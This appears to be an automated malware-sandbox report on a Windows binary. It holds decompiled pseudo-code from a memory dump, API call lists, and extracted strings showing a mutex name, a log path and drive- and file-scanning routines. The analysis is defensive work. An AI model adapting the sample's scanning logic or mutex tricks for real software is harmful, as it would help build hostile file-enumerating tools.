										E000AA4F0( *((intOrPtr*)( *((intOrPtr*)(_t465 + 4)) - 8)),  &_v220,  &_v128);
										_v8 = 7;
										__eflags = _v124;
										if(_v124 != 0) {
											L63:
											_t337 = _v116;
											_t196 = _t337 + 0x10;
											 *_t196 =  *(_t337 + 0x10) | 0x00000002;
											__eflags =  *_t196;
											goto L64;
										} else {
											_t353 = _v220;
											__eflags = _t353 - 3;
											if(_t353 != 3) {
												L50:
												__eflags = _t353 - 2;
												if(_t353 != 2) {
													SwitchToThread();
													goto L64;
												} else {
													_t477 =  *( *((intOrPtr*)(_v116 + 4)) - 8);
													E0005BB00(_t437,  *( *((intOrPtr*)(_v116 + 4)) - 8), _t511, _t517);
													asm("movsd [ebp-0x94], xmm0");
													asm("movsd [ebp-0x9c], xmm0");
													_t359 = E0010D6B6( &_v160);
													_t536 = _t536 + 4;
													__eflags = _t359 - 2;
													if(_t359 == 2) {
														L64:
														_t517 = _v108;
														goto L65;
													} else {
														asm("movsd xmm0, [ebp-0x94]");
														asm("movsd [ebp-0x30], xmm0");
														_v156 =  *((intOrPtr*)(_v144 + 4));
														_t511 =  *( *((intOrPtr*)(_v116 + 4)) - 8);
														_v8 = 0x11;
														_v28 = 0;
														_t525 = _v108 | 0x00000010;
														_v24 = 0xf;
														_v44 = 0;
														_t504 =  *(_t511 + 0x10);
														_v136 = _t525;
														__eflags = _t504;
														if(__eflags != 0) {
															__eflags =  *((intOrPtr*)(_t511 + 0x14)) - 8;
															_t370 = _t511;
															if(__eflags >= 0) {
																_t370 =  *_t511;
															}
															_v148 = _t370 + _t504 * 2;
															if(__eflags >= 0) {
																_t511 =  *_t511;
															}
															_push(L000ABB20(_t437, _t477, _t504));
															_push( &_v44);
															_push(_v148);
															_push(_t511);
															E000AB400(_t437, _t511, _t525);
															_t536 = _t536 + 0x10;
														}
														_t517 = _t525 & 0xffffffef;
														_v108 = _t517;
														_v8 = 0x12;
														E0006E130(_t437, _v156, _t511, __eflags,  &_v52);
														_v8 = 7;
														_t499 = _v24;
														__eflags = _t499 - 0x10;
														if(_t499 < 0x10) {
															L65:
															_v8 = 0x13;
															_t511 = _v116;
															_push( &_v172);
															_v172 = 0;
															_v168 = 0;
															_v164 = 0x1522a0;
															_t339 = E00055260(_t511);
															__eflags = _t339;
															if(_t339 != 0) {
																L79:
																_v120 = 0x1522a0;
																_v124 = 0;
																_v128 = 0;
															} else {
																while(1) {
																	_t344 =  *((intOrPtr*)(_t511 + 4));
																	__eflags =  *_t511 - _t344;
																	if( *_t511 == _t344) {
																		goto L72;
																	}
																	L67:
																	_v228 = 0;
																	_v108 = _t517 | 0x00000020;
																	_t517 = _t344 - 8;
																	_v224 = 0;
																	E000A9DC0(_t437, _t511, _t517, 0);
																	_t351 =  *_t517;
																	_t536 = _t536 + 8;
																	__eflags = _t351;
																	if(_t351 == 0) {
																		L70:
																		_t352 = 1;
																	} else {
																		__eflags =  *(_t351 + 0x28);
																		if( *(_t351 + 0x28) == 0) {
																			goto L70;
																		} else {
																			_t352 = 0;
																		}
																	}
																	_v101 = 1;
																	__eflags = _t352;
																	if(_t352 == 0) {
																		goto L72;
																	}
																	L73:
																	_t345 = _v108;
																	__eflags = _t345 & 0x00000020;
																	if((_t345 & 0x00000020) != 0) {
																		_t348 = _t345 & 0xffffffdf;
																		__eflags = _t348;
																		_v108 = _t348;
																		E00053860( &_v224);
																	}
																	__eflags = _v101;
																	if(_v101 != 0) {
																		E00053860( *((intOrPtr*)(_t511 + 4)) - 4);
																		 *((intOrPtr*)(_t511 + 4)) =  *((intOrPtr*)(_t511 + 4)) + 0xfffffff8;
																		 *((intOrPtr*)(_t511 + 0xc)) =  *((intOrPtr*)(_t511 + 0xc)) - 1;
																		_t517 = _v108;
																		_t344 =  *((intOrPtr*)(_t511 + 4));
																		__eflags =  *_t511 - _t344;
																		if( *_t511 == _t344) {
																			goto L72;
																		}
																		goto L73;
																	}
																	__eflags = _v168;
																	if(_v168 == 0) {
																		goto L79;
																	} else {
																		asm("movq xmm0, [ebp-0xa8]");
																		asm("movq [ebp-0x7c], xmm0");
																		_v120 = _v164;
																	}
																	goto L80;
																	L72:
																	_v101 = 0;
																	goto L73;
																}
															}
															goto L80;
														} else {
															_t479 = _v44;
															_t499 = _t499 + 1;
															_t366 = _t479;
															__eflags = _t499 - 0x1000;
															if(_t499 < 0x1000) {
																L61:
																_push(_t499);
																E000ED2D0(_t479);
																_t536 = _t536 + 8;
																goto L65;
															} else {
																_t453 =  *(_t479 - 4);
																_t499 = _t499 + 0x23;
																__eflags = _t366 - _t453 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L95;
																} else {
																	goto L61;
																}
															}
														}
													}
												}
											} else {
												_t517 =  *( *((intOrPtr*)(_v116 + 4)) - 8);
												_t377 =  *0x17a610; // 0x0
												__eflags = _t377 & 0x00000001;
												if(__eflags == 0) {
													_t379 = _t377 | 0x00000001;
													__eflags = _t379;
													 *0x17a610 = _t379;
													_v8 = 0x10;
													E0005B760(_t437, _t511, _t471);
													E000ED2BB(__eflags, 0x138630);
													_t536 = _t536 + 4;
													_v8 = 7;
												}
												_t499 = _t517;
												_t378 = E00054B70(_t437, 0x17a484, _t517, _t511, _t517, __eflags);
												__eflags = _t378;
												if(_t378 != 0) {
													goto L63;
												} else {
													_t353 = _v220;
													goto L50;
												}
											}
										}
									}
									goto L104;
									L80:
									_t465 = _v116;
									__eflags =  *_t465 -  *((intOrPtr*)(_t465 + 4));
								} while ( *_t465 !=  *((intOrPtr*)(_t465 + 4)));
								_v236 = _t465;
								_v116 = 0;
								_v112 = 0;
								_v232 = _v112;
								E00053860( &_v232);
								_t465 = _v116;
								goto L39;
							}
						} else {
							_t481 = _v120;
							_t505 =  &_v44;
							 *((intOrPtr*)( *_v120 + 0x14))( &_v44, _v128);
							_t511 = _t511 | 0x00000001;
							_v108 = _t511;
							_v148 = _t511;
							_v8 = 8;
							if( *0x17a480 == 0) {
								L30:
								_v8 = 7;
								_t506 = _v24;
								if(_t506 < 0x10) {
									L34:
									E00053860( &_v192);
									E00053860( &_v112);
									_v8 = 3;
									_t499 = _v80;
									if(_t499 < 8) {
										goto L83;
									} else {
										_t484 = _v100;
										_t499 = 2 + _t499 * 2;
										_t386 = _t484;
										if(_t499 < 0x1000) {
											L37:
											_push(_t499);
											E000ED2D0(_t484);
											_t536 = _t536 + 8;
											goto L83;
										} else {
											_t453 =  *(_t484 - 4);
											_t499 = _t499 + 0x23;
											if(_t386 - _t453 + 0xfffffffc > 0x1f) {
												goto L95;
											} else {
												goto L37;
											}
										}
									}
								} else {
									_t485 = _v44;
									_t507 = _t506 + 1;
									_t390 = _t485;
									if(_t507 < 0x1000) {
										L33:
										_push(_t507);
										E000ED2D0(_t485);
										_t536 = _t536 + 8;
										goto L34;
									} else {
										_t453 =  *(_t485 - 4);
										_t499 = _t507 + 0x23;
										if(_t390 - _t453 + 0xfffffffc > 0x1f) {
											goto L95;
										} else {
											goto L33;
										}
									}
								}
							} else {
								_v156 = 0x17a4f8;
								_t394 = E000DA3B6(0x17a4f8);
								_t548 = _t536 + 4;
								_t565 = _t394;
								if(_t394 != 0) {
									E000D7281(_t437, _t481,  &_v44, _t511, _t517, _t394);
									_t548 = _t548 + 4;
								}
								_t549 = _t548 - 8;
								_v8 = 9;
								E00064C00( &_v420, _t565, "c:/.log", 0xc);
								_v8 = 0xb;
								_t527 = _v84;
								_v60 = 0;
								_v56 = 0xf;
								_v76 = 0;
								_v136 = _t511 | 0x00000004;
								if(_t527 != 0) {
									_t418 =  >=  ? _v100 :  &_v100;
									_t529 =  >=  ? _v100 :  &_v100;
									_push(L000ABB20(_t437,  &_v420, _t505));
									_push( &_v76);
									_push(( >=  ? _v100 :  &_v100) + _t527 * 2);
									_push( >=  ? _v100 :  &_v100);
									E000AB400(_t437, ( >=  ? _v100 :  &_v100) + _t527 * 2,  >=  ? _v100 :  &_v100);
									_t549 = _t549 + 0x10;
								}
								_v8 = 0xa;
								_t511 = _v148 & 0xfffffffb | 0x00000002;
								_v108 = _t511;
								_v8 = 0xc;
								_t396 = E00081790( &_v420,  &_v76, 0x26, 0x22);
								_v8 = 0xa;
								_t543 = _t549 + 8;
								_t509 = _v56;
								_t517 = _t396;
								if(_t509 < 0x10) {
									L28:
									_v60 = 0;
									_v56 = 0xf;
									_v76 = 0;
									_t397 = E0006C590(_t517, " : ");
									_t489 =  >=  ? _v44 :  &_v44;
									E0006DBF0(_t437, E000739C0(_t397,  >=  ? _v44 :  &_v44, _v28));
									 *((intOrPtr*)(_t531 +  *((intOrPtr*)(_v420 + 4)) - 0x1a0)) = 0x13efc4;
									_t116 = _v420 + 4; // 0x656c6946
									_t117 =  *_t116 - 0x68; // 0x656c68de
									 *((intOrPtr*)(_t531 +  *_t116 - 0x1a4)) = _t117;
									E00065800( &_v416);
									_t122 = _v420 + 4; // 0x656c6946
									 *((intOrPtr*)(_t531 +  *_t122 - 0x1a0)) = 0x13ae84;
									_t126 = _v420 + 4; // 0x153fb8
									_t127 =  *_t126 - 8; // 0x153fb0
									 *((intOrPtr*)(_t531 +  *_t126 - 0x1a4)) = _t127;
									_v8 = 0xd;
									_v316 = 0x13ac70;
									E000D9E03( &_v316);
									_v8 = 0xe;
									_t411 = E000DA3DB(0x17a4f8);
									_t536 = _t543 + 0x20;
									if(_t411 != 0) {
										E000D7281(_t437, _t492, _t509, _t511, _t517, _t411);
										_t536 = _t536 + 4;
									}
									goto L30;
								} else {
									_t493 = _v76;
									_t509 = _t509 + 1;
									_t413 = _t493;
									if(_t509 < 0x1000) {
										L27:
										_push(_t509);
										E000ED2D0(_t493);
										_t543 = _t543 + 8;
										goto L28;
									} else {
										_t453 =  *(_t493 - 4);
										_t499 = _t509 + 0x23;
										if(_t413 - _t453 + 0xfffffffc > 0x1f) {
											L95:
											_t305 = E0010F44B(_t437, _t453, _t499, _t511, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t517);
											_t519 = _t453;
											_t454 =  *((intOrPtr*)(_t519 + 0x1c));
											__eflags = _t454 - 0x10;
											if(_t454 < 0x10) {
												L101:
												 *((intOrPtr*)(_t519 + 0x18)) = 0;
												 *((intOrPtr*)(_t519 + 0x1c)) = 0xf;
												 *((char*)(_t519 + 8)) = 0;
												return _t305;
											} else {
												_t306 =  *((intOrPtr*)(_t519 + 8));
												_t455 = _t454 + 1;
												__eflags = _t455 - 0x1000;
												if(_t455 < 0x1000) {
													L100:
													_push(_t455);
													_t305 = E000ED2D0(_t306);
													goto L101;
												} else {
													_t502 =  *((intOrPtr*)(_t306 - 4));
													_t455 = _t455 + 0x23;
													__eflags = _t306 - _t502 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														E0010F44B(_t437, _t455, _t502, _t511, __eflags);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t531);
														_push(_t455);
														_push(_t519);
														E00069370(_t437, _t455, _t511, _t455,  &_v604,  *((intOrPtr*)( *_t455)),  *_t455);
														_push(0x38);
														return E000ED2D0( *_t455);
													} else {
														_t306 = _t502;
														goto L100;
													}
												}
											}
										} else {
											goto L27;
										}
									}
								}
							}
						}
						goto L104;
						L83:
						_t282 = _v140 + 0x18;
						_v140 = _t282;
					} while (_t282 != _v132);
					_t440 = _v180;
					_t282 = _v184;
					goto L85;
				}
				L104:
			}

0x00060580
0x00060580
0x00060580
0x00060581
0x00060583
0x00060585
0x00060590
0x00060591
0x00060597
0x0006059c
0x0006059e
0x000605a1
0x000605a2
0x000605a3
0x000605a7
0x000605ad
0x000605b3
0x000605b5
0x000605c2
0x000605c5
0x000605d0
0x000605d7
0x000605dc
0x000605df
0x000605e1
0x000605e4
0x000605e9
0x000605e9
0x000605ef
0x00060603
0x0006060e
0x0006061e
0x0006062c
0x00060636
0x0006063d
0x00060642
0x00060647
0x0006064a
0x0006064f
0x0006064f
0x00060652
0x00060652
0x0006065f
0x00060664
0x0006066b
0x00060671
0x00060677
0x0006067d
0x00060680
0x00060682
0x00060dae
0x00060dae
0x00060db7
0x00060e13
0x00060e1b
0x00060e1d
0x00060e1d
0x00060e26
0x00060e31
0x00060e38
0x00060e3d
0x00060e40
0x00060e42
0x00060e45
0x00060e4a
0x00060e4a
0x00060e50
0x00060e64
0x00060e6f
0x00060e7f
0x00060e8d
0x00060e97
0x00060ea8
0x00060eab
0x00060eb0
0x00060ea8
0x00060eb6
0x00060ecd
0x00060db9
0x00060db9
0x00060dbe
0x00060dce
0x00060dd4
0x00060ddb
0x00060de8
0x00060dea
0x00060df3
0x00060e09
0x00060e09
0x00060e0b
0x00060e10
0x00000000
0x00060df5
0x00060df5
0x00060df8
0x00060e03
0x00000000
0x00000000
0x00000000
0x00000000
0x00060e03
0x00060df3
0x00060688
0x00060688
0x00060692
0x0006069c
0x000606a6
0x000606b0
0x000606b4
0x000606b9
0x000606c0
0x000606c4
0x000606cb
0x000606cd
0x000606d6
0x000606e1
0x000606e7
0x000606ee
0x000606f5
0x000606fc
0x00060704
0x00060707
0x0006070e
0x00060718
0x00060721
0x00060723
0x00060728
0x0006072c
0x0006072d
0x0006072e
0x0006073c
0x0006073f
0x00060749
0x00060751
0x00060756
0x00060759
0x0006075e
0x00060780
0x00060781
0x00060784
0x00060760
0x00060762
0x00060764
0x00060767
0x0006076c
0x00060776
0x00060776
0x0006077a
0x0006077a
0x0006078f
0x0006079a
0x0006079f
0x000607ab
0x000607ab
0x000607a1
0x000607a5
0x000607a9
0x00000000
0x00000000
0x000607a9
0x000607b5
0x000607be
0x000607c9
0x000607d2
0x000607d9
0x000607e0
0x000607e6
0x000607e6
0x000607eb
0x000607f3
0x00060a78
0x00060a78
0x00060a80
0x00060a80
0x00060a80
0x00060a82
0x00060a8f
0x00060a8f
0x00060a84
0x00060a86
0x00060a89
0x00000000
0x00060a8b
0x00060a8b
0x00060a8b
0x00060a89
0x00060a91
0x00060a93
0x00060d6e
0x00060d76
0x00060d7e
0x00060d82
0x00060d87
0x00000000
0x00060a99
0x00060a9f
0x00060aab
0x00060aae
0x00060ab3
0x00060ab7
0x00060abb
0x00060c33
0x00060c33
0x00060c36
0x00060c36
0x00060c36
0x00000000
0x00060ac1
0x00060ac1
0x00060ac7
0x00060aca
0x00060b1b
0x00060b1b
0x00060b1e
0x00060c2c
0x00000000
0x00060b24
0x00060b2a
0x00060b2d
0x00060b38
0x00060b41
0x00060b49
0x00060b4e
0x00060b51
0x00060b55
0x00060c3a
0x00060c3a
0x00000000
0x00060b5b
0x00060b61
0x00060b69
0x00060b71
0x00060b7d
0x00060b80
0x00060b87
0x00060b8e
0x00060b91
0x00060b98
0x00060b9c
0x00060b9f
0x00060ba5
0x00060ba7
0x00060ba9
0x00060bad
0x00060baf
0x00060bb1
0x00060bb1
0x00060bb6
0x00060bbc
0x00060bbe
0x00060bbe
0x00060bc5
0x00060bc9
0x00060bca
0x00060bd0
0x00060bd1
0x00060bd6
0x00060bd6
0x00060bd9
0x00060bdc
0x00060be2
0x00060bed
0x00060bf2
0x00060bf6
0x00060bf9
0x00060bfc
0x00060c3d
0x00060c3d
0x00060c47
0x00060c4c
0x00060c4d
0x00060c57
0x00060c5e
0x00060c68
0x00060c6d
0x00060c6f
0x00060d1b
0x00060d1b
0x00060d22
0x00060d26
0x00000000
0x00060c75
0x00060c75
0x00060c78
0x00060c7a
0x00000000
0x00000000
0x00060c7c
0x00060c7f
0x00060c89
0x00060c8c
0x00060c92
0x00060c9c
0x00060ca1
0x00060ca3
0x00060ca6
0x00060ca8
0x00060cb4
0x00060cb4
0x00060caa
0x00060caa
0x00060cae
0x00000000
0x00060cb0
0x00060cb0
0x00060cb0
0x00060cae
0x00060cb6
0x00060cba
0x00060cbc
0x00000000
0x00000000
0x00060cc2
0x00060cc2
0x00060cc5
0x00060cc7
0x00060cc9
0x00060cc9
0x00060cd2
0x00060cd5
0x00060cd5
0x00060cda
0x00060cde
0x00060ce6
0x00060ceb
0x00060cef
0x00060cf2
0x00060c75
0x00060c78
0x00060c7a
0x00000000
0x00000000
0x00000000
0x00060c7a
0x00060cfa
0x00060d01
0x00000000
0x00060d03
0x00060d03
0x00060d11
0x00060d16
0x00060d16
0x00000000
0x00060cbe
0x00060cbe
0x00000000
0x00060cbe
0x00060c75
0x00000000
0x00060bfe
0x00060bfe
0x00060c01
0x00060c02
0x00060c04
0x00060c0a
0x00060c20
0x00060c20
0x00060c22
0x00060c27
0x00000000
0x00060c0c
0x00060c0c
0x00060c0f
0x00060c17
0x00060c1a
0x00000000
0x00000000
0x00000000
0x00000000
0x00060c1a
0x00060c0a
0x00060bfc
0x00060b55
0x00060acc
0x00060ad2
0x00060ad5
0x00060ada
0x00060adc
0x00060ade
0x00060ade
0x00060ae1
0x00060ae7
0x00060aeb
0x00060af5
0x00060afa
0x00060afd
0x00060afd
0x00060b01
0x00060b08
0x00060b0d
0x00060b0f
0x00000000
0x00060b15
0x00060b15
0x00000000
0x00060b15
0x00060b0f
0x00060aca
0x00060abb
0x00000000
0x00060d2d
0x00060d2d
0x00060d32
0x00060d32
0x00060d3e
0x00060d4a
0x00060d51
0x00060d58
0x00060d5e
0x00060a78
0x00000000
0x00060a78
0x000607f9
0x000607f9
0x000607fc
0x00060805
0x00060808
0x0006080b
0x0006080e
0x00060814
0x0006081f
0x000609e6
0x000609e6
0x000609ea
0x000609f0
0x00060a1e
0x00060a24
0x00060a2c
0x00060a31
0x00060a35
0x00060a3b
0x00000000
0x00060a41
0x00060a41
0x00060a44
0x00060a4b
0x00060a53
0x00060a69
0x00060a69
0x00060a6b
0x00060a70
0x00000000
0x00060a55
0x00060a55
0x00060a58
0x00060a63
0x00000000
0x00000000
0x00000000
0x00000000
0x00060a63
0x00060a53
0x000609f2
0x000609f2
0x000609f5
0x000609f6
0x000609fe
0x00060a14
0x00060a14
0x00060a16
0x00060a1b
0x00000000
0x00060a00
0x00060a00
0x00060a03
0x00060a0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00060a0e
0x000609fe
0x00060825
0x0006082a
0x00060834
0x00060839
0x0006083c
0x0006083e
0x00060841
0x00060846
0x00060846
0x00060849
0x0006084c
0x0006085d
0x00060862
0x00060869
0x0006086c
0x00060873
0x0006087a
0x0006087e
0x00060886
0x0006088f
0x00060899
0x000608a2
0x000608a6
0x000608a7
0x000608a8
0x000608a9
0x000608ae
0x000608ae
0x000608ba
0x000608c1
0x000608c4
0x000608ce
0x000608d8
0x000608dd
0x000608e1
0x000608e4
0x000608e7
0x000608ec
0x0006091a
0x00060920
0x00060927
0x0006092e
0x00060932
0x00060941
0x0006094d
0x0006095e
0x0006096f
0x00060972
0x00060975
0x00060982
0x0006098d
0x00060990
0x000609a1
0x000609a4
0x000609a7
0x000609b4
0x000609b9
0x000609c3
0x000609cd
0x000609d1
0x000609d6
0x000609db
0x000609de
0x000609e3
0x000609e3
0x00000000
0x000608ee
0x000608ee
0x000608f1
0x000608f2
0x000608fa
0x00060910
0x00060910
0x00060912
0x00060917
0x00000000
0x000608fc
0x000608fc
0x000608ff
0x0006090a
0x00060ece
0x00060ece
0x00060ed3
0x00060ed4
0x00060ed5
0x00060ed6
0x00060ed7
0x00060ed8
0x00060ed9
0x00060eda
0x00060edb
0x00060edc
0x00060edd
0x00060ede
0x00060edf
0x00060ee0
0x00060ee1
0x00060ee3
0x00060ee6
0x00060ee9
0x00060f13
0x00060f13
0x00060f1a
0x00060f21
0x00060f26
0x00060eeb
0x00060eeb
0x00060eee
0x00060eef
0x00060ef5
0x00060f09
0x00060f09
0x00060f0b
0x00000000
0x00060ef7
0x00060ef7
0x00060efa
0x00060f02
0x00060f05
0x00060f27
0x00060f2c
0x00060f2d
0x00060f2e
0x00060f2f
0x00060f30
0x00060f33
0x00060f34
0x00060f40
0x00060f45
0x00060f55
0x00060f07
0x00060f07
0x00000000
0x00060f07
0x00060f05
0x00060ef5
0x00000000
0x00000000
0x00000000
0x0006090a
0x000608fa
0x000608ec
0x0006081f
0x00000000
0x00060d8a
0x00060d90
0x00060d93
0x00060d99
0x00060da2
0x00060da8
0x00000000
0x00060da8
0x00000000

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000DA3B6: mtx_do_lock.LIBCPMT ref: 000DA3BE

Part of subcall function 00060580: GetLogicalDriveStringsW.KERNEL32(00000068,?), ref: 0005CFE5
Part of subcall function 00060580: GetDriveTypeW.KERNEL32(?,?,?,?), ref: 0005D08F
Part of subcall function 00060580: OpenMutexA.KERNEL32(001F0001,00000000,MX-tgytutrc), ref: 0005D20C
Part of subcall function 00060580: GetLastError.KERNEL32(?,?,7757EEF2), ref: 0005D21F
Part of subcall function 00060580: WaitForSingleObject.KERNEL32(?,00002710), ref: 0005D32B
Part of subcall function 00060580: GetCurrentProcessId.KERNEL32(?,?,7757EEF2), ref: 0005D366
Part of subcall function 00060580: __Mtx_unlock.LIBCPMT ref: 0005D3FB
Part of subcall function 00060580: ReleaseMutex.KERNEL32(?,?,?,7757EEF2), ref: 0005D41E
Part of subcall function 00060580: GetLastError.KERNEL32(?,?,7757EEF2), ref: 0005D42C
Part of subcall function 00060580: OutputDebugStringA.KERNELBASE(00000000,?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D5FB
Part of subcall function 00060580: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D613
Part of subcall function 00060580: ReleaseMutex.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D64A
Part of subcall function 00060580: WaitForSingleObject.KERNEL32(?,00002710), ref: 0005D67E
Part of subcall function 00060580: ReleaseMutex.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D6D2
Part of subcall function 00060580: GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D6D8
Part of subcall function 00060580: WaitForSingleObject.KERNEL32(?,00002710), ref: 0005D88B
Part of subcall function 00060580: ReleaseMutex.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D8F1
Part of subcall function 00060580: GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D8FB
Part of subcall function 00060580: ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D9AA
Part of subcall function 00060580: GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D9B4
Part of subcall function 00060580: GetCurrentProcessId.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,7757EEF2), ref: 0005D9D9
Part of subcall function 00060580: __Mtx_unlock.LIBCPMT ref: 0005DA63
Part of subcall function 00060580: CloseHandle.KERNEL32(?), ref: 0005DA9F
Part of subcall function 00060580: __CxxThrowException@8.LIBVCRUNTIME ref: 0005DB35
Part of subcall function 00060580: __CxxThrowException@8.LIBVCRUNTIME ref: 0005DB56
Part of subcall function 00060580: __CxxThrowException@8.LIBVCRUNTIME ref: 0005DB86

__Mtx_unlock.LIBCPMT ref: 0006063D
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000609C3

Part of subcall function 000D9E03: std::ios_base::_Tidy.LIBCPMT ref: 000D9E23

__Mtx_unlock.LIBCPMT ref: 000609D1

Part of subcall function 0006E130: SetEvent.KERNEL32(00000000,DB2C627E,00000000,?,0012EF10,000000FF,?,00060BF2), ref: 0006E1E5

SwitchToThread.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00060C2C

Part of subcall function 000A9DC0: FindNextFileW.KERNEL32(00000000,?,DB2C627E,?,?,?), ref: 000A9E3C
Part of subcall function 000A9DC0: GetLastError.KERNEL32 ref: 000A9E46
Part of subcall function 000A9DC0: FindClose.KERNEL32(00000000), ref: 000A9E56
Part of subcall function 000A9DC0: GetLastError.KERNEL32(?,?,?), ref: 000AA09B
Part of subcall function 000A9DC0: GetLastError.KERNEL32(00000000,boost::filesystem::directory_iterator::operator++,?,?,?), ref: 000AA0F5
Part of subcall function 000A9DC0: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA136

Part of subcall function 0005BB00: PathIsNetworkPathA.SHLWAPI(00000000), ref: 0005C958

Part of subcall function 0005B760: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 0005B798

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Part of subcall function 00060FB0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00061021

__Mtx_unlock.LIBCPMT ref: 00060E9E

Part of subcall function 000D7281: std::_Throw_Cpp_error.LIBCPMT ref: 000D72A8

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Strings

exiting, xrefs: 0005DA2B
failed to lock mutex, xrefs: 0005DB19, 0005DB3A, 0005DB6A
InputBuffer, xrefs: 0005D557
: , xrefs: 0006091A
c:/.log, xrefs: 0005D3AE, 0005DA21, 000605FE, 00060858, 00060E5F
scanning..., xrefs: 00060612
started, xrefs: 0005D1E1
MX-tgytutrc, xrefs: 0005D201
IPC error , xrefs: 0005D3C8
$, xrefs: 0005DA5F
scan finised, xrefs: 00060E73
finished, xrefs: 0005DA7C

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$Mutex$Exception@8Mtx_unlockReleaseThrow$CurrentObjectProcessSingleWaitstd::ios_base::_$CloseDriveFindIos_base_dtorPath$Cpp_errorDebugDirectoryEventFeatureFileHandleLogicalNetworkNextOpenOutputPresentProcessorStringStringsSwitchThreadThrow_TidyTypeWindows___raise_securityfailure__onexitmtx_do_lockstd::_
String ID: : $ IPC error $ exiting$$$InputBuffer$MX-tgytutrc$c:/.log$failed to lock mutex$finished$scan finised$scanning...$started
API String ID: 1914030041-2558074389
Opcode ID: ca0fa04c435ba70f56d86df23445870e971182823a74b275f65665f0b7eed895
Instruction ID: 3eb94e869839e0ac52fd5f8663fad29b71bfc31b530a26f90969f0d87238d86d
Opcode Fuzzy Hash: ca0fa04c435ba70f56d86df23445870e971182823a74b275f65665f0b7eed895
Instruction Fuzzy Hash: 0252B170D00358DFEB24DFA4CD49BDEBBB6AF45304F148199E449AB282DB71AA84CF51

Uniqueness

Uniqueness Score: 100.00%

Function 0010B0F4, Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 155
UNIQUE

Download Yara Rule

C-Code - Quality: 83%

			E0010B0F4(void* __edx, intOrPtr* _a4, intOrPtr* _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				char _v20;
				void* __esi;
				char _t40;
				void* _t43;
				intOrPtr _t44;
				char _t45;
				intOrPtr _t46;
				intOrPtr _t55;
				intOrPtr* _t57;
				intOrPtr _t58;
				intOrPtr* _t60;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t70;
				void* _t79;
				char* _t84;
				intOrPtr* _t95;

				_t93 = __edx;
				_t84 =  *0x179b64; // 0x1777fa
				_v12 = 0;
				_v8 = 0;
				_t40 =  *_t84;
				if(_t40 == 0) {
					L14:
					E00107D18(_t84, _a4, 1, _a8);
					L15:
					L16:
					return _a4;
				}
				_t43 = _t40 - 0x24;
				if(_t43 == 0) {
					_t13 = _t84 + 1; // 0x0
					_t44 =  *_t13;
					__eflags = _t44 - 0x24;
					if(_t44 == 0x24) {
						_t95 = _a8;
						_t84 = _t84 + 2;
						 *0x179b64 = _t84;
						_t45 =  *_t84;
						__eflags = _t45 - 0x51;
						if(__eflags > 0) {
							_t46 = _t45 - 0x52;
							__eflags = _t46;
							if(_t46 == 0) {
								E00107C31( &_v12, "volatile");
								__eflags =  *_t95;
								if( *_t95 != 0) {
									E00107E03( &_v12, 0x20);
								}
								_t84 =  *0x179b64; // 0x1777fa
								L40:
								_push("&&");
								L11:
								_v20 =  *_t95;
								_t8 = _t95 + 4; // 0x3cb40000
								 *0x179b64 = _t84 + 1;
								_v16 =  *_t8 | 0x00000100;
								_push( &_v20);
								_push( &_v12);
								_push(_a4);
								E0010B401(_t84 + 1, _t93);
								goto L16;
							}
							_t55 = _t46 - 1;
							__eflags = _t55;
							if(_t55 == 0) {
								_t33 = _t84 + 1; // 0x1777f9
								 *0x179b64 = _t33;
								L36:
								_t57 = _a4;
								 *((intOrPtr*)(_t57 + 4)) = 0;
								 *((char*)(_t57 + 4)) = 2;
								 *_t57 = 0;
								return _t57;
							}
							_t58 = _t55 - 1;
							__eflags = _t58;
							if(_t58 == 0) {
								_t30 = _t84 + 1; // 0x1777f9
								 *0x179b64 = _t30;
								_t60 = _t95;
								__eflags =  *_t60;
								if( *_t60 == 0) {
									E001079F8(_a4, "std::nullptr_t");
									goto L16;
								}
								E00107CF6(_t84, _a4, "std::nullptr_t ", _t60);
